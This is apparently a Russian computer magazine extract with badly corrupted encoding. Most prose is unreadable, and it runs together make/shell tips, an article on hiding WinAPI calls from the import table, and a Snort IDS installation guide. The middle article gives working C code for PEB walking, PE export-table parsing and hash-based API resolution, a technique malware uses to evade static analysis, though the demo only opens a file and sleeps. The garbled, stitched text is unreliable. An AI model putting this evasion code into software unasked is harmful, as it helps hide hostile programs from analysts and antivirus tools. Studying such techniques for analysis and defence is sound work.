???� ??????�??� ????� ?????�?),� ??� ?� ??� ???� ??????� ??� ???�?� ????�???�???
?�??�?�???��?????�??�?��?????.�???�??�????爉ake????�??�??�??
?????�?�???,��?????�???�???:爍make,燾make,燼utotools.�??�??�?�????�
????�?� ?� ???�???� ????�????�?,� ???�????� ???�?????�??.� ?� make????�?� ?
???�??�????� ??� ???� ???�?????�????� ????� ???�?� ?????�??�?:� ?????� ????�
??????�?� ?� ???� ????�?� ?????�?,� ??� ??????� ???� ???�????�?� ????� ???????.
????� ??� ???�?� ????�??????????�???�??� ????�?� ?????�???� ????�?,� ?� make
�???�?�?????�?�.
??�??�?�?????爉ake�??????��???�???�??�???�????�??�??�?????�
??????�?�????�?��??????�????�?�???�?�?�???�??�???�????.�???�?
???�???�?:�??�?,�??�?????��?�???�?�?�?????�???�?�(???�????�???�
?????牜??????�?�?????�???��??�???�??�?????�???!�),�?�???�???�?:
?� ??????� ????�????� make� ???�?� ???�??�???� ???�??�????�??� ???�?????�?.
???���?????�??!��??�??�???�??�???�??�???�??�????�??�???????�
????�?:� ???�??�????�??� ?� ????�???� ???�???�???�???,� ????�???�?????
???????�??� ?� ????�????� ???�??�????� ?????� ??� ???�???�?� ???� ???�????
???�????,���???�???�?�???????�???????,�?�??�??�??�??�??�??�???�
????� ?� ???????�???� ????� ????�?� ?????�?� (?� ?� ??????�?� ??????� ??� ????�?
?????�?,�?��????�?)�???????�???�???�??�??�???� ??�??�???.�?????�??
??????�???� ???????�????�??:� make� >� /dev/null� .� ???� ????� ????�??�???
?????�??�??�??�????�牜???�??�???粻/dev/null,��??�??�????�??,�??????�
???� ?� ????�??�???� ?????� ???�??,� ????�???� ??� ???�?� ?� ????�????� ???�?.
??�?�???�??�??�爉ake�???�????�s�� make�s�??�???�?�?????�?�??�?
????�?�??????.
????�??,� ???� ???�??????� ????�???� ??� C++� (??� ?� ????�?� ??� C)� ?????
??� ???�???� ????� ???:� ???�??????,� ????�???�???� ??� ?????� ????�?,� ???????�
????� ??� ????�?????�?� ?????� ?????� ????�????� ?� ?????� ???�???�?????
???????�??�(??????�????��??�???,�??�???�??�??�?�??�???��??�??????�
??�0??????�??牜????��?????�),��??????�??�?�???�????�???�?�???�
???,� ??� ?� ??????�??...� ?????� ???�??�??,� ???� ???� ???� ???�?� ???�???,� ?� ???
???� ??,� ???� ??� ???�???� ????�?� ???�???�???�???.� ???????� ?� ????� ???�??�?
?�??�???爃ead:
$爉ake�&1�/dev/null爘爃ead
?????�?�??????�????�?�???�??�???�????�??�??��???�??�???�????,
?�??�???�??�???�????���/dev/null.�??�???爃ead�???�?�?�??�??�????�
???�??�?�??�?��??????�????�?�?�???�???�??�???�????�?????�??�(??
????�????��?????)�??�?�????,�????�????�??�??�???�???.
??�????,� ???�?????� ??� ?????�??� ?????� ?????�?� make� ?� ?????� ?C.� ????�
?????�??�????�(????�?�???��??�?�??�??)�???�爂it,爐ar��??�?????�??
???�??,� ?� ????�???� ???� �????�???� ???�???� ?� ???�??�??� ???????� ??????�?�
make�C�????????????????????.�??�????,��??�???,�??�?????�?�???�
????�??� ???�??�????,� ?????�???� ????�?� ????�?� ??� ???.� ???,� ?� ????�??� ????�
?????� ???�?� Buildroot� ?????� �??�??� ?????� ???�??粻 ????�?� �?� ????�???粻 ?
????�?� ???�??�???,� ???� ???�???,� ???�???� ???� ?� ????�??�?� ????� ???????�??
????�????,� ???�????� ????� ?� ???�?????�?� ?� ???�????�??� ???� ???????� ?????�
?????.�???�?�??�?????,�??��??�?燗OSP�????�???�?�????�?�???�?
???�?� mma,� ??� ???�??,� ???� ???� ???�?� ???� ?� ????�?,� ???�?� ????� ??????�?
make�C.
??���????.��????�??�???�??�?爉ake�??�???�?�??�?�????,�??????
???�???�?� ???�???� (????� ???????� ????�??�??� ??� ??????,� ??� ?� ?????�??� ????
?????�?� ???�??� ????,� ?????�??�????� ?� make????�?,� ????�?� ???� ???�?� ???
all).�???�????�???�?��??�????�?,��????�??�?????��???�??�??爉ake.
???�????,� make燾lean燼ll�???�???�??�???�????�???燾lean,��????燼ll�(?
?????�?牜????�???�??�,�??�???�?�????????�??�???).
?????????�??????��??
???�?????�????�?��???�???�??�?.�??�?�??�???�????�??�???�???�?
???�????,� ???�?� ?????�???� ?????.� ?????�?� ???� ?????�????� ???�???� ?� ????�
????�??????�???,�??�??�?????�????�?�??????�??�???��??�??�????�
?????,� ???� push??� ???????�??� ?� ??????�????,� �??????粻 ???�???� ???�?????
?�??????�???�??�??�?�???�??�??�???�????.�??�???
? ??�?????� ???�??� shell???????� ???�????,� ???�??�?� ????� ??� ????�?
????????� ???�???�??�??.� ???�????,� ???�????� ?� ???�??� ????� ?� ?????
????�???.� ????�?� ?????�????� ?� ????�???�?� ??� ????�?� ??� ????�??,
?????�???????�?�??�???�??�???��???????�??�?????,�?�?????�????
??�???�?????�?�?????�??�???�??�??�??�??�?��?????�?,�???�?????
???????�??�??�??�?��????�??.
? ????� ??????,� ????� ??� ???�???�???�?� ???????,� ?????� ??????�?????�?
??�??�??�??????��??�???�??�??�???�???,�??�???�??�?????�????.
???�????,� ??� ??????�???� picocom� ???� ???�??�????� ?� ?????�??????� ????�
????�?燯ART.�?�??�??,�??��??�??�??�???,�??????�????�???�??????�
??� ???�?� ?????�??,� ????�??�??� picocom?� ?� ????� ????� ?� ????� ????� ??????
????�???� ??� ?????� ?????� ???�?� ???????� ??� ?� (???�??�?!)� ???�??�?,� ???
???� ??????�???� ???�?� ??????�??� (???�??,� em1,� ???�??,� eth0)
???� ????????????� ??� ??????�?????� ???�??� ??????�?� ??� �????�???????�
???????????�??粻 (???�??,� ip,� ???�??,� ifcon?g)?� ?????� ?????� ???� ?
?�??,�??,�??�??�??�?,�?�??�??�????�?�????�??�?????�?�?????��?
?????,��?�??�??�???�?????.
? ???� ????�?� ??� ??????�??� ????????� ?� ???�????�?� ?????�???,� ??� ???
??????�??�?�燣inux,���??�?,�??�??�??�?�(???????�?,�??�??,牜????�
?????�).�?�??�???�??�???????�???�?��??,��?�??�???�????�???,
?�????�??????��?�????�??�???�??�?�?????�??�???��??�???�?
??� ???�????� ?????�????,� ??????� ???� ???� ???� ???� ???�?� ??????�???�??
??????� my?super?build.sh� ???� mysuperdeploy.� ????� ????� ????????� bld.sh
?燿ply.bash��??�?�????
?� ?????,� �?????�??� ??,� ???� ???� ?????,� ?� ??� ???� ????� ???�??粻 �.� ???�??
?????�?� Linux,� ???????� ??????�?� ??� ????�???�??� ???�??.� ????�????� ????�
??????�???,�??????�??�??�????�?�????�???�??�??�?:�???�????�???�?
??� Tab??,� ????�??� ??� ????�??� ??????,� ?????�??� ???????�??� ???�???�??
??????.�????�??�??�?????,�燲XI�???�???�????�?�??�???�??�????�??�?
?�????�???��??�????�??�???��?????.
??�??�?,�???�?�??�?????�????�?�??�?.��??�?�??�?�????�??�???
??�?????�??�???,�?????�?????�??�???????��???????�??�??�????�???�
???.��??�?�?�??�??�???�???????�??.
???�????,� ???� ???�?????� ???�????�???� AOSP� ?� ???�????�?� ?????�???
mmm,� mma� ?� ???�???.� ?� Qt� ???� ????�?� ???�?� ???�?� ???� ???�?????� ??????�
??� ?� qmake,� lupdate,� lrealease.� ?� ???.� Qmake� ??????�???� make?le,� ?� ?????�
??????�???�?�??�???�??�?�??�?????爉ake.
��????�?,�??粻��??????�???�??????�???�??�????�??�???�????�
??,� ?� ??� ?????.� ??????�??�?� ???�???�???�?� ????� ?????� ?� ???� ??� ??????� ?
???�??�???�??�???,�??�?????�??�?�?�??.�??�?.
??????????
???�?�??�???,�???�????�???�??��??�???�?�??�???�????�??�??�?????
?� ???�????� ???� ??????�??� ??????� ???�????�???.� ???� ????� ????�?� ???�???�
???�?�???�??IDE,�???�????�??�???�??�??????�????,�??�??�?????�??�?
????�??,�??�????,�??�??�?????�??�?�???�??,�?�?????�????�??????�
???,�?�??�??�????�??�??�??�??,�??????�?????�??�?????�???��????
???�??�?????�???.
??????
??????
WINAPI
Nik燴erof
xtahi0nix@gmail.com
???�????????????�?????燱INAPI
?�????�?????????
??�????�???�????�??�???��?????�????�??�?�????�??
????�??�??�?????�?�?????�??,�???�??�???????�?��???�
??????�???� ????�??�??� ???�??.� ?� ???????� ????� Potato
???� ??????�????� ???�?� SynAsk� ??????�???�?� ????�??,
??� ???�??� ???�???� ????�??� ???????� WinAPI.� ??� ????� ??
?� ??????�??,� ?� ????�?� ???????� ???????� ???�??� ????�??
WinAPI��??�???�??.
????,�???�??�???�?�??�????�???�??�??????燱inAPI.
1.�??�????�????.�??�??�??�???�???�?�???�?�???????�??�??�????�??
??????.
2.�??�??��???�??�???燱inAPI�??�?�?�??�???.�??�??�?�????�?????�
???�???�???�??�???�??.
3.�?�??�??�???�?�?�??????�???�?.
???�?????�??�??�???��??�??�??�???�???�??�??�????�???�???�???.
???�??�??�????�???�?�????�?��???�??�??�??�???.�??�??????�???�
?????�?� ???�?� ???�???� ?� ?????� ?????�??�???� ????� ?� ???�???� ???�???,� ????�
???�??�??�?�??�??�??�???�??�???.�????�??�???�?�??????�??�????
?� ???�?� ??????�???�?� ?� ???????????� ???�??� ???�???� (????� ?????�???�
??????).
??�?� ??????� ?� ????????� ???�?� ???�??�???�???� ?????� ???� ?????�????
????�??� ???????� WinAPI.� ???� ??� ???�??� ??????�?� ?� ???�???� ???????� ?� ??
???�??�??�???�?��??�?��????�??�??�?.�????�??????�????�??�????�
?????�??�????�????�??��??????�???�?�?�??爔64.
#include�Windows.h>
int爉ain()爗
燞ANDLE爃File�燙reateFileA("C:\\test\\text.txt",
牋燝ENERIC_READ,
牋燜ILE_SHARE_READ,
牋燦ULL,
牋燨PEN_EXISTING,
牋燜ILE_ATTRIBUTE_NORMAL,
牋燦ULL);
燬leep(5000);
爎eturn�
}
???�?????,�????�?????�???�?�??�??�???燱inAPI�燙reateFileA�燬leep.
???�???� CreateFileA��????�??�??�?��????�??�??�???�?�??�??�?�
??� ??� ????�??�?� "C:\\test\\text.txt"� ??� ??� ???�?� ?� ???�??� ?� ???
???????�????�??�???.
??�??�??�??�?�????�??�??�????�??�??�??�?�??�???�??.�??�?�???�
????� ??� ASM� ???� ??????�???�??,� ????�????� ????�?????� ???????�???�???,
????�??�???� ??� ???�?� ???�???� ?� ????.� ????�??�?� ??� ??????�??� ???�????
???????�????� ?� ???�????�?� CRT.� ???� ????�???�??� ???�???�??� ????�?????
?????�???�??�?????�??�???�?�??�?????�?:
? ????�???????�???�????�???�(/Os),
? ??�??�???�??�??�?�??????�????�(/Gs�),
? ??�??�???�???�??�??�??????�??,
? ?� ???�???�??� ???�????�???� ?????�???� ???�????� ???�??�??�?� ?� ???????
?????�(/DYNAMICBASE:NO),
? ????�???�??�??????�??�??????�????�(/FIXED),
? ????�?????�????�??????�?�??�?�??�?�(?�????�??�??�??爉ain),
? ??�?????�???�??�???�??�???�??�????�?�(/NODEFAULTLIB),
? ??�?????�?�?�??????�?�(/MANIFEST:NO).
???�??�????�??????�????�???�??�??�???�????��???�???�?�?�???�??
????�???�???.��???�??�??�?????�???,�??�???�????�?????�?�????.
????��?�??�??�??�???.
public爏tart
start爌roc爊ear
dwCreationDisposition=燿word爌tr�28h
dwFlagsAndAttributes=燿word爌tr�20h
var_18=爍word爌tr�18h
sub牋爎sp,�h
and牋燵rsp+48h+var_18],�lea牋爎cx,燜ileName牋牋牋��"C:\\test\\text.txt"
xor牋爎9d,爎9d牋牋牋牋牋牋;爈pSecurityAttributes
mov牋燵rsp+48h+dwFlagsAndAttributes],�h�燿wFlagsAndAttributes
mov牋爀dx,�000000h牋牋牋;燿wDesiredAccess
mov牋燵rsp+48h+dwCreationDisposition],�燿wCreationDisposition
lea牋爎8d,燵r9+1]牋牋牋牋�燿wShareMode
call牋cs:CreateFileA
mov牋爀cx,�88h牋牋牋牋牋;燿wMilliseconds
call牋cs:Sleep
xor牋爀ax,爀ax
add牋爎sp,�h
retn
start爀ndp
???�?????,�??�???燱inAPI�???�???�???��???��??�?��??�???�??????
???�???�??.
???�???�??��???�????燩E?bear
??�???� ?????� ???�????� ??????,� ???????� ???????� ????�???� ??� ???????�??
????�?????�?????�???�??�???燱inAPI.�??????�??�???�????�??�???.
static燚WORD爃ash_api_table[]�爗
�e976c80c,�//燙reateFileA
�b233e4a5,�//燬leep
}
???�?????????
?� ??????� ???� ????�?� ???�?????� ????�???� ??????�????� ?� ??� ?????�?,� ?� ???
???�????� ?� ????,� ????� ?� ??????�??.� ????� ??????�?????� ????�??�?,� ?� ????�
?????????� ???�????�??� ???�???� ??????�??� ???�????�????� (seed),� ???�?
????� ???�???� ????� ???�???�???.� ???�????,� ?????�??� ????�???
MurmurHash.
??�??� ????�??�?,� ???� ?� ???� ???�??� ??????�????� ?????� ?????� ???�????
HASH_API(name,� name_len,� seed),� ???� name� ?� ???� ???�???,� name_len� ?
???�?�??�?,爏eed��??�??�?????�??�??�????�????.�??�??�??�??�????
???????�???��???�????�??�???,�?�??��?????!
???�???�?� ??� ??????�?????� ??????� ???�?� ???�??�???�???� ??????,� ?????�
?????�?,�??�??�???�?????�??燱inAPI��??�????�???
LPVOID爂et_api(DWORD燼pi_hash,燣PCSTR爉odule);
??� ??� ???�?� ???� ???�?� ???�?,� ?� ???�??� ???????� ???�??�???�??� ???�???,
???????� ?????� ???�?????� ??????�???�???� ???�???� WinAPI� ??????�?????
?�??�??�?????�??�????�?.
LPVOID爌arse_export_table(HMODULE爉odule,燚WORD燼pi_hash)爗
燩IMAGE_DOS_HEADER牋牋爄mg_dos_header;
燩IMAGE_NT_HEADERS牋牋爄mg_nt_header;
燩IMAGE_EXPORT_DIRECTORY牋牋爄n_export;
爄mg_dos_header牋=�(PIMAGE_DOS_HEADER)module;
爄mg_nt_header��(PIMAGE_NT_HEADERS)((DWORD_PTR)img_dos_header�+�
img_dos_header?>e_lfanew);
爄n_export��(PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)img_dos_header�+�
img_nt_header?>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EX
PORT].VirtualAddress);
??� ????� ??????�??� ????� ???�???� ?� ????� ????�???,� ???� ?� ????,� ??????� ???
???????�???�?�??????�?燩E????�?��???�??�?????�(?�?????�??�??�???�
?????�?�????�???�?�????�?????�??).�??�???�?�??�??�?�?????�?????
???????�??,��???�?�??�??�???�??�??????�???�??.�)�????,��??�??
?????�?� ????,� ??� ??????�?� ??� ???????�???� ?� ????� ???�???� ??????� DLL� ??
IMAGE_DOS_HEADER.�??�??�????�???:
typedef爏truct燺IMAGE_DOS_HEADER爗
燱ORD爀_magic;
燱ORD爀_cblp;
燱ORD爀_cp;
燱ORD爀_crlc;
燱ORD爀_cparhdr;
燱ORD爀_minalloc;
燱ORD爀_maxalloc;
燱ORD爀_ss;
燱ORD爀_sp;
燱ORD爀_csum;
燱ORD爀_ip;
燱ORD爀_cs;
燱ORD爀_lfarlc;
燱ORD爀_ovno;
燱ORD爀_res[4];
燱ORD爀_oemid;
燱ORD爀_oeminfo;
燱ORD爀_res2[10];
燣ONG爀_lfanew;
}營MAGE_DOS_HEADER,�*PIMAGE_DOS_HEADER;
?????�??�???�???�?�???� e_lfanew��??燫VA�(Relative燰irtual燗ddress,�???�
?????)� ??� ???????�?� IMAGE_NT_HEADERS,� ???????,� ?� ????� ???�???,� ???�?
?????�????�???:
typedef爏truct燺IMAGE_NT_HEADERS爗
燚WORD牋牋牋牋牋牋牋牋牋燬ignature;
營MAGE_FILE_HEADER牋牋牋燜ileHeader;
營MAGE_OPTIONAL_HEADER32燨ptionalHeader;
}營MAGE_NT_HEADERS32,�*PIMAGE_NT_HEADERS32;
???�??� ???� ????� OptionalHeader� ???�???�?� ??� ???� ????� ?????�???� ?� IM?
AGE_OPTIONAL_HEADER.� ???� ???�??�???,� ?� ?� ??� ???�????� ??� ???�??� ???
?????,�??�??�?�??�??�?燚ataDirectory,�??????�????�??��????.�???�
???� ???� ????� ??????�???� IMAGE_DIRECTORY_ENTRY_EXPORT.� ???� ???�???�?
???�???� ??????�?,� ?� ????� VirtualAddress� ???�???�?� ???�????� ???�??
??????�?.
typedef爏truct燺IMAGE_OPTIONAL_HEADER爗
�...
營MAGE_DATA_DIRECTORY燚ataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES
];
}營MAGE_OPTIONAL_HEADER32,�*PIMAGE_OPTIONAL_HEADER32;
????,� ??� ?� ???�??� ??????�?,� ?� IMAGE_EXPORT_DIRECTORY.� ???�??�???� ??
??????:
PDWORD爎va_name;
UINT爎va_ordinal;
rva_name��(PDWORD)((DWORD_PTR)img_dos_header�+爄n_export?>Addres
sOfNames);
rva_ordinal��(PWORD)((DWORD_PTR)img_dos_header�+爄n_export?>Addres
sOfNameOrdinals);
???�?�???�????�??,�????�???營MAGE_EXPORT_DIRECTORY:
typedef爏truct燺IMAGE_EXPORT_DIRECTORY爗
燚WORD燙haracteristics;
燚WORD燭imeDateStamp;
燱ORD牋MajorVersion;
燱ORD牋MinorVersion;
燚WORD燦ame;
燚WORD燘ase;
燚WORD燦umberOfFunctions;
燚WORD燦umberOfNames;
燚WORD燗ddressOfFunctions;
燚WORD燗ddressOfNames;
燚WORD燗ddressOfNameOrdinals;
}營MAGE_EXPORT_DIRECTORY,*PIMAGE_EXPORT_DIRECTORY;
??�???????�?�???�?????�?????�??�?�??????�?燩E��??�??�??�??�??.
??????�??��???�??�???.�??�?�??�????�?�???,�????�??�???�???�?
???� ????:� AddressOfNames� ?� AddressOfNameOrdinals.� ???�??� ?????�??
???�?� ???�???,� ???�??� ?� ??� ??????� (?????:� ?????).� ????� ????�?????� ????�
?????� ????�?:� ?� ???�?� ?????� ????�????�???� ?� ???�???� ???????�??� ?� ????
???�???� ???� ?� ??????� ???�???� ?� ???�???� ??????�?� ?,� ???� ???�??� ????�
???????,�??????�?�??�?.
UINT爋rd��1;
for�(i��爄�爄n_export?>NumberOfNames;爄++)爗
燼pi_name��(PCHAR)((DWORD_PTR)img_dos_header�+爎va_name[i]);
爂et_hash�燞ASH_API(api_name,爊ame_len,爏eed);
爄f�(api_hash�=爂et_hash)爗
牋爋rd��(UINT)rva_ordinal[i];
牋燽reak;
爙
}
???�?!�?????�?????�?�?�????��??�??�???�??:
爁unc_addr��(PDWORD)((DWORD_PTR)img_dos_header�+爄n_export?>Addres
sOfFunctions);
爁unc_find��(LPVOID)((DWORD_PTR)img_dos_header�+爁unc_addr[ord]);
爎eturn爁unc_find;
}
INFO
?�???�?????�??�?�??�??�?�??�??�???�?�????�
????�?????� ?� ???�???�???� ?� ???�???� ???�??.
???� ???�???� ????�????,� ???�?� ??� ????????� ???
?�?�????�???�?????�?�?�???�?????.
???�???�?????�???�???�?�????�??��????�??.�?????�????�??��??????�
???� ????????� ???�???.� ???�???,� ??� ??� ????�?????� ???� LPVOID� get_api?
???� ?????,� ??� ????,� ????�???� ???� parse_export_table,� ??� ???�???� ??� ????�
???�???�??.
??�?� ?� ???,� ???� ????� ???�???� parse_export_table� ????�??� �????粻 ?
???�???�????�???�??�???�???????�?????�?????��??�??�?????,�?�?
????�?� ???� ???�????�?� ?� ??????� (????� ??� ???� ???).� ???� ???�?� ??� ??????�???
???�???燣oadLibrary,�??�??�?�?????�??�??�???�??.�???�?�??�?????
??�??????�????�????爌arse_export_table.�)
???�???� ??????�???�???� ???�????�??� Kernel32.dll.� ???�?� ??????� ?� ???
????????,�?�??�??�??�?�??�??�????�?��???????�???�????�??�?????
???�??�?�????燩EB.��???�?????�??�?�??�??�???�??�??,�??????�?????�
???�??�??�?�???�??�??.
LPVOID爂et_api(DWORD燼pi_hash,燣PCSTR爉odule)爗
燞MODULE爇rnl32,爃Dll;
燣PVOID牋api_func;
�#ifdef燺WIN64
牋爄nt燤oduleList��18;
牋爄nt燤oduleListFlink��18;
牋爄nt燢ernelBaseAddr��10;
牋營NT_PTR爌eb�燺_readgsqword(0x60);
�#else
牋爄nt燤oduleList��0C;
牋爄nt燤oduleListFlink��10;
牋爄nt燢ernelBaseAddr��10;
牋營NT_PTR爌eb�燺_readfsdword(0x30);
�#endif
�//�?????�??????�????爇ernel32.dll
營NT_PTR爉od_list牋牋=�*(INT_PTR*)(peb�+燤oduleList);
營NT_PTR爈ist_flink牋=�*(INT_PTR*)(mod_list�+燤oduleListFlink);
燣DR_MODULE�*ldr_mod��(LDR_MODULE*)list_flink;
爁or�(;爈ist_flink�!=�(INT_PTR)ldr_mod�)爗
牋爈dr_mod��(LDR_MODULE*)ldr_mod?>e[0].Flink;
牋爄f�(!lstrcmpiW(ldr_mod?>dllname.Buffer,燣"kernel32.dll"))
牋牋燽reak;
爙
爇rnl32��(HMODULE)ldr_mod?>base;
??�??� ???� ????�?????� ???�????� ???�????� ?????� ???�???� LoadLibraryA.
???�??�?�??�???��?????�??�?.�??�??�????:
HMODULE�(WINAPI�*temp_LoadLibraryA)(__in燣PCSTR爁ile_name)�燦ULL;
HMODULE爃ash_LoadLibraryA(__in燣PCSTR爁ile_name)爗
爎eturn爐emp_LoadLibraryA(file_name);
}
???�?� ????,� ???�???� ???�???�?� ?????� ???�???� ??� ???�?????� ???�???�??,
???????�?�?????��????�?????:
HANDLE�(WINAPI�*temp_CreateFileA)(__in燣PCSTR爁ile_name,
燺_in燚WORD燼ccess,
燺_in燚WORD爏hare,
燺_inopt燣PSECURITY_ATTRIBUTES爏ecurity,
燺_in燚WORD燾reation_disposition,
燺_in燚WORD爁lags,
燺_inopt燞ANDLE爐emplate_file)�燦ULL;
HANDLE爃ash_CreateFileA(__in牋牋LPCSTR牋牋牋file_name,
燺_in牋牋DWORD牋牋燼ccess,
燺_in牋牋DWORD牋牋爏hare_mode,
燺_inopt牋牋牋牋牋燣PSECURITY_ATTRIBUTES爏ecurity,
燺_in牋牋DWORD牋牋燾reation_disposition,
燺_in牋牋DWORD牋牋爁lags,
燺_inopt燞ANDLE牋牋template_file)爗
爐emp_CreateFileA��(HANDLE�(WINAPI�*)(LPCSTR,
牋燚WORD,
牋燚WORD,
牋燣PSECURITY_ATTRIBUTES,
牋燚WORD,
牋燚WORD,
牋燞ANDLE))get_api(hash_api_table[0],�"Kernel32.dll");
爎eturn爐emp_CreateFileA(file_name,燼ccess,爏hare_mode,爏ecurity,�
creation_disposition,爁lags,爐emplate_file);
}
VOID�(WINAPI�*temp_Sleep)(DWORD爐ime)�燦ULL;
VOID爃ash_Sleep(__in燚WORD爐ime)爗
爐emp_Sleep��(VOID�(WINAPI�*)(DWORD))get_api(hash_api_table[1],�
"Kernel32.dll");
爎eturn爐emp_Sleep(time);
}
???�????� ???� LoadLibraryA� ?� ????�??�??.� ??� ?????� ??� ??????�???� ????
???�???� ?????� hash_api_table[],� ??????� ???� ???� LoadLibraryA� ??� ??????�
???�??� ????�?.� ???� ?????� ?� ???�???� ????,� ?� ??????�??�?� ??� ????�??�?
??????�????.
爐emp_LoadLibraryA��(HMODULE�(WINAPI�*)(LPCSTR))parse_export_table(
krnl32,�731faae5);
爃Dll�爃ash_LoadLibraryA(module);
燼pi_func��(LPVOID)parse_export_table(hDll,燼pi_hash);
爎eturn燼pi_func;
}
????,� ???� ??????.� ????� ?????� ???� ??????� ???�???� ??� ????� ???�?� ?????�?
?� ??????�??� ????� ?� ???�?????,� ?????�??� ?????� ???�???�?� ?� ????.� ??????,
???�?�???�?????�????,�???�??�??�??�????�???��??????�???�?�??.
int爉ain()爗
燞ANDLE爃File�爃ash_CreateFileA("C:\\test\\text.txt",
牋燝ENERIC_READ,
牋燜ILE_SHARE_READ,
牋燦ULL,
牋燨PEN_EXISTING,
牋燜ILE_ATTRIBUTE_NORMAL,
牋燦ULL);
爃ash_Sleep(5000);
爎eturn�
}
???�??,�??�??�???�?��??�?,��??�???�?????�?!�)�??�??�??�???�???�
????�?,�???�????�?????�?�?�???�?????��??�???�???.�?????�????�???�
??????�?�??�???�??????...
??�????�????�??�??�???�??��???�????燩E?bear
...?� ???�??� ???� ????�?� ???�???� lstrcmpiW.� ??� ????� ???�???,� ???� ??� ??
??????�?????� ???� ????�????� ??????� ????�?� ???????� ???�???� ???!� ??????
???�????��????�??�???.
??�????�????�??�??�???�??��???�????營DA
?????� ??� ????� ??� ?????� ???????� ???????.� ????� ????�???�?� ?� ?????�???�??
????�????,� ??,� ??????�???,� ????�????� ????� ????,� ????�?� ????�
kernel32.dll� ?� ???�??.� ??� ???� ????�?� ????�??� ???�??,� ??????�??�?????
????,�??????�??�?�??�?????.
??�?�??�?�???????�??�????�?�?????�????�???�??�???�??,��????�
??� ?????�?????.� ???� ???�????�??� ???�??� ???�????� ??????� ???�???� lstr?
cmpiW�?�??�????��??�???燱inAPI.�??�??�???�?:�??�??�???�?????�????�
????�??�????�??燢ernel32.dll.�)
?????
????
???�????
?????????????燬NORT
?�????�??????
?????�??????
vegelin47@mail.ru
??�????�????� ?� ???� ??� ????�?� ???� ????�????� ???�???�?
???�?� ?� ???.� ???�?????� ????�?� ????� ?????� ???????�??
???�???,� ?� ????�??�??�???� ??????�?� ??� ??????�?� ????�
????�????�?,�??????�???�?�??�????�?��??�???��???�
????� ???�??.� ???�?� ???�??�??�???� ?????� ???�????� ?� ??????�
????????� ???�?,� ?????�??�?� ???�???� ????�???�??� ?????�
?????.��????�?�??��???�??�???燬nort��?�?????�?
????????��???�?????.
??????燬NORT?
Snort� ?� ???� ????�??�???� ???�???� ????�???�??� ????�????,� IDS.� ???� ?????
????????� ???� ????�??� ???� ???�??,� ??� ???� ????�???�?� ????�?� NIDS� (Network
Intrusion� Detection� System).� ?� ?????� ??????� Snort� ???�???�?� ???� ???�????
??????�?�???�???�????�???�????�??????�???�(DDoS,�??�???�????�???�
???,�????�?�???�???�??�???�?????��??�????).
???�????� ?????� ???�?????:� ???�???�?� ??????�??� ???�??� ??????,� ???�?
???�???�???�???�?�??�?.�??�?�?????�?�??????�??�?,�?�????�????�
??� ???�????� ???????� ?� ???????� ??� ???�???.� ???�??�?� ???� ??� ?????�?� ????
?�??�?????�???�???�??�???�????,�??????�????�??�?��???�?????�??
???????�??�??�????�??�??�??�???�?營nternet燬ecurity.�??�?�????�????�
????� ??????�??,� ??� ???�???�?� ??� ???�?� ?� ??????�?� ?� ???�??�???�??� ?????�
???�??.
???�?� ????�??�?????�?� ??� ???�????� ???�?� ???�??�?� ?� ??� ????,� ???� ???� ??
????�????� ???�???� ???�?� ???�?� ???�?� ???????�??� ?� ???.� ???�????,
?� ??????� ????�??� ????�???� Snort� ???�???�???�???� ???� ?????� ????�??�???
SIEM.� ???�?� ????,� ??????� ?� ???�??� Snort.� ???�?� ???�???�??�???� ???� ????�
????:
? ????�???��?????�??�??�?�??�???
? ??�????�??�??�??��??????�??�??�??�????�??�??????
? ???�??�??????�??.
????� ?� ???�?� ???�????� ???� ???�?� ???�?????� ?????�??� ?� ????�????�??� ????�
????�?燙isco,��??�?????�??�??????�??�???�??�???�???��????.
?????????燬NORT
????�?� ????�?????� Snort� ??� ???� ??� ???�??�?.� ???�?� ???�???�?????�?� ???�
?????�???�?�?�??�?.�?�?,�??�???,�??????�?�???�?�???�????,�????
????�??�?????� ?� ?????�?????�???� ????�???,� ???????� ???????� ???�?????
???�?????�?�??????�?�??�??�?.
??�???�???�???�?燬nort,�??�?????�??�?:
? Barnyard2?
? PulledPork?
? Basic燗nalysis燼nd燬ecurity燛ngine�(BASE).
??�?????!
??�????�?????��???�??????�???�????燬nort�9.12,�??�??� Snort�????�
????�??�???�???????�???.��????�??�?�??�???燯buntu�.04.1,�???�???�
??�?燯buntu����????�?�???�???�?.�???�??�???��???�??�?�?燯bun?
tu�,�?�?�???��?????�???????�?�????.
???�???�??�??�????�??????�????????.
INFO
???�??� ??????�??� ???� ????�?????�??� Ubuntu.
?�??�??�.10� ??�????�???????�?�??�?�???�
????� ????�????� eth?.� ?????�?� ???�??�??� ????�
?????�??�??�??�???????�?.�???�?�??��???�
????�?�???�???�??�???�??��??�?????.
??�???�?�??�??????�????????,�??????�????�?????�???燬nort,���??�?
???�??�?� interfaces� ???�???�???� ???� ????�?� ???� ?????�????� Large� Receive
O?oad� ?� Generic� Receive� O?oad.� ???� ????????�?� ???�???� ???� ?????�????
???�????�?�??�??�??:
post?up爀thtool�K爀th0爂ro爋ff
post?up爀thtool�K爀th0爈ro爋ff
??�????�???�?�??�??�????�??????�????????:
sudo爄fconfig爀np0s3燿own�&&爏udo爄fconfig爀np0s3爑p
??�??�?�???�????�爑pdate�&&爑pgrade��??�??�???�??????�??�????�?:
sudo燼pt?get爄nstall�y燽uild?essential爈ibpcap?dev爈ibpcre3?dev�
libdumbnet?dev燽ison爁lex爖lib1g?dev爈iblzma?dev爋penssl爈ibssl?dev�
libnghttp2?dev.
??�??�??�???�??�?,��??????�????�?????�???�??????�?,�?????��???�
????�?�?�??�?.�??�???�?�???�??�???�??�?�??�??�(DAQ�燚ata燗cQuisi?
tion).� ???� ???�????�?,� ???????� ??????�?� ???�??� ??????� ??� ???�???� libpcap,
???�??????�?�?????�?�??�?????�???�??�??��???�??�???�???????�??
???�???�??????�?�??�???�???�????��??燬nort.
mkdir爏nort
cd爏nort
wget爃ttps://snort.org/downloads/snort/daq?2.0.6.tar.gz
tar�xvzf燿aq?2.0.6.tar.gz
cd燿aq?2.0.6
./configure
make
sudo爉ake爄nstall
??�???�??�?�??�?????�??燬nort.
cd爚/snort_src
wget爃ttps://www.snort.org/downloads/snort/snort?2.9.12.tar.gz
tar�xvzf爏nort?2.9.12.tar.gz
cd爏nort?2.9.12
./configure�?enable?sourcefire�?disable?open?appid
make
sudo爉ake爄nstall
sudo爈dconfig
sudo爈n�s�/usr/local/bin/snort�/usr/sbin/snort
